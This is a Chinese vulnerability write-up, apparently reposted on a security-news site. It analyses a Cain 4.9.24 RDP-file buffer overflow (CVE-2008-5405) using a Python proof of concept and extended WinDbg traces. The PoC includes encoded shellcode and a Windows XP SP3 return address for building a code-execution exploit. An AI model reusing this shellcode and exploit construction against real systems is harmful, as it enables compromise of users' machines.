频道栏目
首页 > 资讯 > 安全公告 > 正文

Cain RDP缓冲区溢出漏洞(CVE-2008-5405)

16-11-07        来源:[db:作者]  
收藏   我要投稿

漏洞说明

软件下载:

Cain 4.9.24版本

PoC:

#!/usr/bin/python

#coding:utf-8

#poc仅供验证,如果有需要可以替换成exploit

shellcode =("\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19"

"\xc5\xd8\x59\x83\xeb\xfc\xe2\xf4\xe5\x2d\x9c\x59\x19\xc5\x53\x1c"

"\x25\x4e\xa4\x5c\x61\xc4\x37\xd2\x56\xdd\x53\x06\x39\xc4\x33\x10"

"\x92\xf1\x53\x58\xf7\xf4\x18\xc0\xb5\x41\x18\x2d\x1e\x04\x12\x54"

"\x18\x07\x33\xad\x22\x91\xfc\x5d\x6c\x20\x53\x06\x3d\xc4\x33\x3f"

"\x92\xc9\x93\xd2\x46\xd9\xd9\xb2\x92\xd9\x53\x58\xf2\x4c\x84\x7d"

"\x1d\x06\xe9\x99\x7d\x4e\x98\x69\x9c\x05\xa0\x55\x92\x85\xd4\xd2"

"\x69\xd9\x75\xd2\x71\xcd\x33\x50\x92\x45\x68\x59\x19\xc5\x53\x31"

"\x25\x9a\xe9\xaf\x79\x93\x51\xa1\x9a\x05\xa3\x09\x71\x35\x52\x5d"

"\x46\xad\x40\xa7\x93\xcb\x8f\xa6\xfe\xa6\xb9\x35\x7a\xeb\xbd\x21"

"\x7c\xc5\xd8\x59")

addr = "\xb5\xb5\xfd\x7f"

overflow = "\x41" * 8206

overflow2 = "\x41" * 255

eip = "\xd7\x30\x9d\x7c" # WINDOWS XP SP3: 0x7c9d30d7 jmp esp (shell32dll)

exploit = overflow+eip+addr+overflow2+shellcode

poc = "\x41"*8600

f = open("cain_poc.rdp","w")

f.write(poc)

print "[+]Create File OK"

f.close()

测试环境:

Cain 4.9.24

Windows xp sp3

Windbg

IDA pro

通过PoC生成一个RDP文件,通过Cain打开RDP文件解密,触发漏洞

漏洞复现

这个远程溢出漏洞分析很不容易,因为IDA没法识别这个Cain,可能毕竟这是一个黑客工具,防护做的比较好,所以我是直接从Windbg强行逆向分析的,挺累的,不多说了,这个漏洞的原因是Cain在加载rdp文件进行解密分析的时候,由于对加载的字符串没有做长度检查而是直接拷贝,从而导致了某个关键指针被覆盖,导致后续执行SetWindowText函数的时候将覆盖的指针直接传入,从而导致了任意代码执行。

首先打开rdp文件,触发漏洞,Cain崩溃,附加Windbg调试器。

(4f0.6d8): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=41414141 ebx=00000000 ecx=7c832668 edx=41414142 esi=0017df80 edi=00000001

eip=77d3c1f9 esp=0012bccc ebp=0012bccc iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\system32

\USER32.dll -

USER32!IsCharLowerA+0x970:

77d3c1f9 8a08 mov cl,byte ptr [eax] ds:0023:41414141=??

可以看到此时eax是一个无效的地址,也就是引用了无效指针,接下来按G直接执行。

0:000> g

(7cc.7c4): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000

eip=41414141 esp=0012b8d0 ebp=0012b8f0 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

41414141 ?? ???

应该是触发了SEH,到达了漏洞位置,通过kb看一下堆栈调用情况。

0:000> kb

ChildEBP RetAddr Args to Child

WARNING: Stack unwind information not available. Following frames may be wrong.

0012bccc 77d37688 41414141 00000001 00a15670 USER32!IsCharLowerA+0x970

0012bcf0 77d37625 0017df80 41414141 0012bdd4 USER32!IsCharUpperA+0x60a

0012bd28 77d32ff4 00a15670 0000000c 00000000 USER32!IsCharUpperA+0x5a7

0012bd4c 77d3b440 00a15670 0000000c 00000000 USER32!DrawFrame+0x630

0012bd6c 77d18734 00030682 0000000c 00000000 USER32!DialogBoxParamA+0x2fc

0012bd98 77d18816 77d3b3ec 00030682 0000000c USER32!GetDC+0x6d

0012be00 77d2927b 00000000 77d3b3ec 00030682 USER32!GetDC+0x14f

0012be3c 77d2f598 00a15670 00a222d8 00000000 USER32!GetParent+0x16c

*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面

\cain_ha\Cain4.9\svchost.exe

*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and

Settings\Administrator\桌面\cain_ha\Cain4.9\svchost.exe

0012be5c 005ba4f5 00030682 41414141 0046d442 USER32!SetWindowTextA+0x2d

0012be68 0046d442 41414141 0012f680 0012f680 svchost+0x1ba4f5

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\system32

\kernel32.dll -

0012bea4 7c809414 0000007e 00000000 0012c338 svchost+0x6d442

这里我们关系005b4f5前的调用,可以看到这个地址的调用,和之前0046d442位置调用第一个参数已经是畸形字符串了,那么这里参数可能是一处指针,而这个再往前就是系统调用了,那么就从这里入手,回溯分析。

漏洞分析

回溯过程不多说了,就是在0046d442位置下断点,通过回溯发现漏洞就出在0046d442地址的call调用所处的函数中,通过Windbg找到函数入口点,下断点开始跟踪调试。PS:由于无法用IDA跟踪,所以没法通过伪代码来描述,全程是汇编描述。

0:001> bp 0046d1e0

Breakpoint 0 hit

eax=00000001 ebx=00000001 ecx=0012f670 edx=02bd7548 esi=0012f670 edi=0012f670

eip=0046d1e0 esp=0012eebc ebp=0012f0e0 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

svchost+0x6d1e0:

0046d1e0 6aff push 0FFFFFFFFh

下断点后,打开rdp文件,到达函数入口点,开始单步跟踪。

0:000> dd esp+3060

0012eeb4 005e2e7d 00000003 0046d18d 02bd7548

0012eec4 00600298 02bd7548 02bd7548 0062cd10

0012eed4 00000001 00000000 00000000 00000000

0012eee4 00000001 00000000 00000000 00000000

0012eef4 00000000 77d3e577 00000000 00000000

0012ef04 00000000 00000000 00007004 00000000

0012ef14 00000000 00000000 00000000 00000000

0012ef24 00000000 00000000 0000004c 00200696

0:000> p

eax=00000000 ebx=00000000 ecx=0012ceb0 edx=02bd6080 esi=0012f670 edi=0012eeb0

eip=0046d28d esp=0012be4c ebp=02bd6060 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

svchost+0x6d28d:

0046d28d e8f8f11100 call svchost+0x18c48a (0058c48a)

0:000> p

eax=0012ceb0 ebx=00000000 ecx=02bd6060 edx=02bd6080 esi=0012f670 edi=0012eeb0

eip=0046d292 esp=0012be4c ebp=02bd6060 iopl=0 nv up ei ng nz ac pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296

svchost+0x6d292:

0046d292 83c418 add esp,18h

0:000> dd esp+3060

0012eeac 41414141 41414141 41414141 41414141

0012eebc 41414141 41414141 41414141 41414141

0012eecc 41414141 41414141 41414141 41414141

0012eedc 41414141 41414141 41414141 41414141

0012eeec 41414141 41414141 41414141 41414141

0012eefc 41414141 41414141 41414141 41414141

0012ef0c 41414141 41414141 41414141 41414141

0012ef1c 41414141 41414141 41414141 41414141

单步跟踪时,发现在0046d28d位置有一处call调用,在这个call调用步过之后,esp+3060这个位置会被大量的41414141覆盖,为什么是这个位置是在我回溯的过程中发现的,后续会讲到。

那么0046d28d位置的call调用就是引发漏洞的一处关键,call之前该位置还是正常的情况。

接下来在这个call调用下断点,重新开始,到达这里,步进函数。

Breakpoint 0 hit

eax=00000000 ebx=00000000 ecx=0012ceb4 edx=02bd60a0 esi=0012f674 edi=0012eeb4

eip=0046d28d esp=0012be50 ebp=02bd6080 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

svchost+0x6d28d:

0046d28d e8f8f11100 call svchost+0x18c48a (0058c48a)

0:000> t

eax=00000000 ebx=00000000 ecx=0012ceb4 edx=02bd60a0 esi=0012f674 edi=0012eeb4

eip=0058c48a esp=0012be4c ebp=02bd6080 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

svchost+0x18c48a:

0058c48a 55 push ebp

0:000> dd esp+3060

0012eeac 00000000 00000000 0012f0cc 005e2e7d

0012eebc 00000003 0046d18d 02bd7568 00600298

0012eecc 02bd7568 02bd7568 0062cd10 00000001

0012eedc 00000000 00000000 00000000 00000001

0012eeec 00000000 00000000 00000000 00000000

0012eefc 77d3e577 00000000 00000000 00000000

0012ef0c 00000000 00007004 00000000 00000000

0012ef1c 00000000 00000000 00000000 00000000

步入后一切正常,接下来在函数中单步调试,会发现到达一处循环。

0:000> p

eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb6 edi=0012ceb4

eip=0058c4bd esp=0012be40 ebp=0012be48 iopl=0 nv up ei ng nz ac pe cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297

svchost+0x18c4bd:

0058c4bd 740d je svchost+0x18c4cc (0058c4cc) [br=0]

0:000> p

eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb6 edi=0012ceb4

eip=0058c4bf esp=0012be40 ebp=0012be48 iopl=0 nv up ei ng nz ac pe cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297

svchost+0x18c4bf:

0058c4bf 668906 mov word ptr [esi],ax ds:0023:0012ceb6=0000

0:000> p

eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb6 edi=0012ceb4

eip=0058c4c2 esp=0012be40 ebp=0012be48 iopl=0 nv up ei ng nz ac pe cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297

svchost+0x18c4c2:

0058c4c2 46 inc esi

0:000> p

eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb7 edi=0012ceb4

eip=0058c4c3 esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz na pe cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207

svchost+0x18c4c3:

0058c4c3 46 inc esi

0:000> p

eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4

eip=0058c4c4 esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz na pe cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207

svchost+0x18c4c4:

0058c4c4 663d0a00 cmp ax,0Ah

0:000> p

eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4

eip=0058c4c8 esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz ac po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

svchost+0x18c4c8:

0058c4c8 740a je svchost+0x18c4d4 (0058c4d4) [br=0]

0:000> p

eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4

eip=0058c4ca esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz ac po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

svchost+0x18c4ca:

0058c4ca ebdb jmp svchost+0x18c4a7 (0058c4a7)

0:000> p

eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4

eip=0058c4a7 esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz ac po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

svchost+0x18c4a7:

0058c4a7 ff4d0c dec dword ptr [ebp+0Ch] ss:0023:0012be54=00001ffe

0:000> p

eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4

eip=0058c4aa esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

svchost+0x18c4aa:

0058c4aa 7428 je svchost+0x18c4d4 (0058c4d4) [br=0]

这处循环要关注刚开始的mov [esi],ax的操作,同时看一下ax的内容,ax就是eax的低地址位置,观察循环可以看到这里是4141,也就是说,是rdp文件的畸形内容,这处循环是一处拷贝,也就是这里拷贝过程,没有控制长度,之前也没有检查,导致了超长串覆盖。

随后执行完毕后,esp+3060已经被覆盖,通过poc也可以知道,长度至少是8600字节,一定是会覆盖上的。

函数返回后继续单步跟踪。

Breakpoint 1 hit

eax=00000000 ebx=00000000 ecx=00685428 edx=02bd6080 esi=0012f670 edi=0012eeb0

eip=0046d424 esp=0012be60 ebp=02bd6060 iopl=0 nv up ei pl nz ac po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

svchost+0x6d424:

0046d424 8b8c2460300000 mov ecx,dword ptr [esp+3060h] ss:0023:0012eec0=41414141

0:000> p

eax=00000000 ebx=00000000 ecx=41414141 edx=02bd6080 esi=0012f670 edi=0012eeb0

eip=0046d42b esp=0012be60 ebp=02bd6060 iopl=0 nv up ei pl nz ac po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

svchost+0x6d42b:

0046d42b 83c404 add esp,4

到达0046d424的时候会发现,这里执行了一处指针传递,将esp+3060交给ecx保存,步过后可以看到ecx已经变成了41414141,那么接下来,看一下windbg的执行过程。

0046d424 8b8c2460300000 mov ecx,dword ptr [esp+3060h]

0046d42b 83c404 add esp,4

0046d42e 51 push ecx

0046d42f 6835040000 push 435h

0046d434 8bce mov ecx,esi

0046d436 e856cf1400 call svchost+0x1ba391 (005ba391)

0046d43b 8bc8 mov ecx,eax

0046d43d e89fd01400 call svchost+0x1ba4e1 (005ba4e1)

可以看到之后,ecx会作为参数压栈,执行0046d436的call调用,随后到达漏洞函数0046d43d,到达这里时,传入的第一个参数指针已经是问题指针了。

0:000> bp 0046d43d

0:000> g

Breakpoint 2 hit

eax=0272b4f8 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0

eip=0046d43d esp=0012be60 ebp=02bd6060 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

svchost+0x6d43d:

0046d43d e89fd01400 call svchost+0x1ba4e1 (005ba4e1)

0:000> dd esp

0012be60 41414141 0012f670 0012f670 0012f0e0

0012be70 00000001 00684288 00684288 00684288

0012be80 00684288 00000000 00000000 0012f670

0012be90 0012bec0 7c92f63c 7c92f641 c0000135

0012bea0 00000000 001b7b40 0012be9c 00000042

可以看到esp第一个值已经是41414141,接下来进入函数处理。

0:000> p

eax=00000000 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0

eip=005ba4e8 esp=0012be5c ebp=02bd6060 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

svchost+0x1ba4e8:

005ba4e8 ff742404 push dword ptr [esp+4] ss:0023:0012be60=41414141

0:000> p

eax=00000000 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0

eip=005ba4ec esp=0012be58 ebp=02bd6060 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

svchost+0x1ba4ec:

005ba4ec ff711c push dword ptr [ecx+1Ch] ds:0023:0272b514=001505e4

0:000> p

eax=00000000 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0

eip=005ba4ef esp=0012be54 ebp=02bd6060 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

svchost+0x1ba4ef:

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\system32

\USER32.dll -

005ba4ef ff15f0c65f00 call dword ptr [svchost+0x1fc6f0 (005fc6f0)] ds:0023:005fc6f0={USER32!

SetWindowTextA (77d2f56b)}

0:000> p

(11c.45c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=41414141 ebx=00000000 ecx=7c832668 edx=41414142 esi=0017df78 edi=00000001

eip=77d3c1f9 esp=0012bcbc ebp=0012bcbc iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202

USER32!IsCharLowerA+0x970:

77d3c1f9 8a08 mov cl,byte ptr [eax] ds:0023:41414141=??

可以看到,在函数内部005ba4ef地址调用了系统函数,而这个系统函数的第二个参数,是41414141,因此,引发了漏洞,导致程序进入SEH异常处理,通过SEH指针覆盖,导致任意代码执行漏洞。

相关TAG标签
上一篇:App Store“大扫除” 三天清理僵尸应用5000款
下一篇:Wifi万能钥匙真能破密码么
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站